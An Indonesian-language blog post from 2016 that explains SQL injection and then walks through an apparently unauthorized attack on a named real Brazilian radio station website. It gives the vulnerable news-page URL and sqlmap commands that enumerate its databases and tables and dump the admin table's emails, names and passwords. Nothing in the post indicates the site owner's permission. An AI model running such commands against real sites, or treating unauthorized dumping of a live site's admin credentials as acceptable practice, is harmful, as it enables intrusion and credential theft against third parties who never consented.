Tuesday, November 29, 2016

Contoh SQL Injection

SQL Injection

Summary
SQL Injection merupakan salah satu metode penyerangan aplikasi web dengan memasukkan query SQL ke parameter input dari client ke aplikasi web tujuan. Apabila SQL Injection berhasil dilakukan, penyerang dapat dumping isi basis data, mendapatkan informasi penting bahkan melakukan operasi yang dapat memanipulasi tabel basis data seperti UPDATE, DELETE dan INSERT.
SQL Injection sangat umum dilakukan pada aplikasi web yang dibangun dengan PHP dan ASP. Parameter id pada GET adalah salah satu celah yang paling mudah untuk diinjeksi. Untuk mendeteksi suatu web bisa diserang dengan menggunakan SQL Injection adalah dengan menambahkan tanda petik ( ‘ ) pada GET parameter. Apabila terjadi SQL Error, maka aplikasi web tersebut rentan SQL Injection karena tidak ada penanganan SQL Error pada query dari client.

Attacking Process
Targetnya adalah http://www.radiomiriam.com.br/ yang merupakan salah satu situs radio FM yang ada di negara Brazil. Saat masuk ke halaman berita, parameter “id” muncul sehingga muncul ide untuk melakukan SQL Injection.

Gambar 1: Parameter ID muncul pada halaman berita (situs sudah diterjemahkan dengan Google Translate)
Langkah pertama adalah menambahkan tanda petik ( ‘ ) atau %27 ke belakang value dari id, maka akan muncul error seperti berikut.


Gambar 2: SQL Error muncul
Lalu penulis memutuskan untuk melakukan Time Delay Attack dengan sqlmap (sqlmap.org) untuk injeksi secara otomatis.

Gambar 3: Mencoba memunculkan basis data
Langkah pertama yang penulis lakukan adalah menulis command:
$ python sqlmap.py –u “http://www.radiomiriam.com.br/noticia.php?id=5048” –dbs
Untuk memunculkan semua basis data yang tersedia. Lalu penulis memilih basis data radiomir_radio, dan berikut adalah hasilnya.

Gambar 4: Mencoba memunculkan tabel pada basis data radiomir_radio
$ python sqlmap.py -u “http://www.radiomiriam.com.br/noticia.php?id=5048” --tables -D radiomir_radio
Setelah itu, penulis memilih tabel admin untuk dilihat isinya. Berikut merupakan isi dari tabel admin.

Gambar 5: Mencoba memunculkan semua data admin pada basis data radiomir_radio

$ python sqlmap.py -u “http://www.radiomiriam.com.br/noticia.php?id=5048” –dump –C email,id,nivel,nome,senha -T admin -D radiomir_radio
Penulis merasa bahwa sudah cukup sampai di sini, karena website yang penulis serang tidak mempunyai halaman login sehingga data admin yang didapat tidak tahu harus diapakan.
Terima kasih.

Sumber:

sqlmap.org

No comments:

Post a Comment